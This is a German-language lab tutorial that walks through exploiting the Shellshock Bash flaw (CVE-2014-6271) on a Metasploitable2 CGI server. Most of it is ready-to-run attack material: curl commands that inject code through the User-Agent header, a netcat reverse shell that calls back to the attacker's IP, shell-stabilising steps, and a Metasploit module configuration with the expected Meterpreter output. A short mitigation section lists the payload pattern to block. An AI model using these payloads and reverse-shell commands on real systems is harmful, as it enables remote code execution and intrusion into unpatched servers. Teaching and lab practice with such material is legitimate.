
Ein vollständiges, modernes Demonstrationslabor für CVE-2014-6271 (Shellshock), einschließlich Architektur, Exploitationsschritten, Nutzung von Burp Suite, Reverse Shells, Gegenmaßnahmen und einer vollständigen Befehls-Cheat-Sheet.
Shellshock (CVE-2014-6271) ist eine der einflussreichsten Schwachstellen für Remote-Codeausführung, die je entdeckt wurden. Der Fehler betrifft Bash und ermöglicht es Angreifern, beliebige Befehle auszuführen, indem sie einfach manipulierte Payloads in Umgebungsvariablen injizieren.
Diese Anleitung bietet eine vollständige, reproduzierbare Demonstration mit:
Sie ist für Lehre, Forschung, Schulung und allgemeines Cybersicherheitsbewusstsein konzipiert.
Dieses einfache Zwei-Knoten-Setup spiegelt viele Legacy-Bereitstellungen wider, die noch immer in industriellen und IoT-Systemen vorhanden sind.
Auf Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Teste das Skript von Kali aus:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Du solltest die Umgebungsvariablen angezeigt sehen.
Shellshock tritt auf, wenn Bash Umgebungsvariablen, die wie Funktionsdefinitionen aussehen, fehlerhaft parst.
Eine bösartige Variable wie zum Beispiel:
() { :; }; /bin/bash -c "id"
bewirkt, dass Bash den Befehl nach der Funktionsdefinition ausführt — obwohl die Funktion selbst nie aufgerufen wird.
CGI-Anwendungen sind besonders anfällig, weil HTTP-Header automatisch als Umgebungsvariablen an Skripte übergeben werden.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Die Ausgabe sollte Folgendes enthalten:
Vulnerable
uid=33(www-data)
Dies bestätigt Remote-Codeausführung.
Besuche:
http://192.168.1.5/cgi-bin/shellshock.sh
Sende die Anfrage an Repeater.
Ersetze den User-Agent-Header durch:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Du solltest Folgendes sehen:
BurpTest
uid=33(www-data)
Burp Suite bestätigt die Schwachstelle auf visuelle und lehrreiche Weise.
Starte den Listener auf Kali:
nc -lvnp 4444
Löse die Reverse Shell über das CGI-Skript aus:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Eine Shell wird sich zurück zu Kali verbinden.
Innerhalb der Reverse Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Unterbreche die Sitzung:
Ctrl + Z
Auf Kali:
stty raw -echo; fg
Drücke Enter.
Du hast jetzt:
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
Eine visuelle Darstellung der wichtigsten Phasen des Angriffs.
| Beschreibung | Bild |
|---|
Patche auf eine Version, die das Parsen von Funktionen korrekt behandelt.
Legacy-CGI birgt ein unnötiges systemisches Risiko.
Verwerfe verdächtige Muster wie:
() { :; };
Schränke die Berechtigungen des Webserver-Benutzers (www-data) ein.
Stoppt Reverse Shells und Datenexfiltration.
Moderne WAF-Signaturen erkennen Shellshock sofort.
Begrenzt Bash-Prozesse und blockiert unbeabsichtigtes Verhalten.
Verwende Tools wie:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Innerhalb der Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Unterbrechen:
Ctrl + Z
Auf Kali:
stty raw -echo; fg
Drücke Enter.
Metasploit bietet eine professionelle, automatisierte Möglichkeit, Shellshock mit dem integrierten Modul auszunutzen:
exploit/multi/http/apache_mod_cgi_bash_env_exec
Diese Methode ist schnell, zuverlässig und bietet automatisches Payload-Staging (z. B. Meterpreter).
msfconsole
search shellshock
Du solltest (unter anderem) Folgendes sehen:
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Setze die Ziel-IP:
set rhosts 192.168.1.5
Setze den angreifbaren CGI-Pfad:
set targeturi /cgi-bin/shellshock.sh
Setze deine Kali-IP:
set lhost 192.168.1.4
Lege optional den Listening-Port fest:
set lport 4444
Überprüfe:
options
Du solltest Folgendes sehen:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
Bei Erfolg:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Du hast jetzt:
meterpreter >
shell
Dann:
id
hostname
Erwartet:
uid=33(www-data) gid=33(www-data)
metasploitable
Du hast mit Metasploit und Shellshock Remote-Befehlsausführung erlangt.
Diese Demonstration zeigt, wie Shellshock mithilfe einfacher HTTP-Header-Manipulation, Reverse Shells, CGI-Skriptausführung und Metasploit-Automatisierung ausgenutzt werden kann. Obwohl Shellshock über ein Jahrzehnt alt ist, bleibt es eine wichtige Lektion in:
Mit viel Liebe gemacht von:
Haitham of Oman ❤️🇴🇲
| Komponente | Rolle | Betriebssystem | IP-Adresse | Wichtige Dienste |
|---|
| Kali Linux | Angreifer | Kali Linux (neueste Version) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Angreifbarer Zielserver | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI-Skripte, Bash |
| Apache mod_cgi | Skriptausführung | Läuft auf MSF2 | n/a | Macht Bash über CGI zugänglich |
| shellshock.sh | Angreifbarer Einstiegspunkt | Bash-CGI | n/a | Zeigt Umgebungsvariablen an |
| Nmap-Scan + Shellshock-Testausgabe | ![]() |
| Burp Suite – Erste Shellshock-Anfrage | ![]() |
| Burp Suite – Payload-/Header-Injektion | ![]() |
| Auf Kali empfangene Reverse Shell (nc) | ![]() |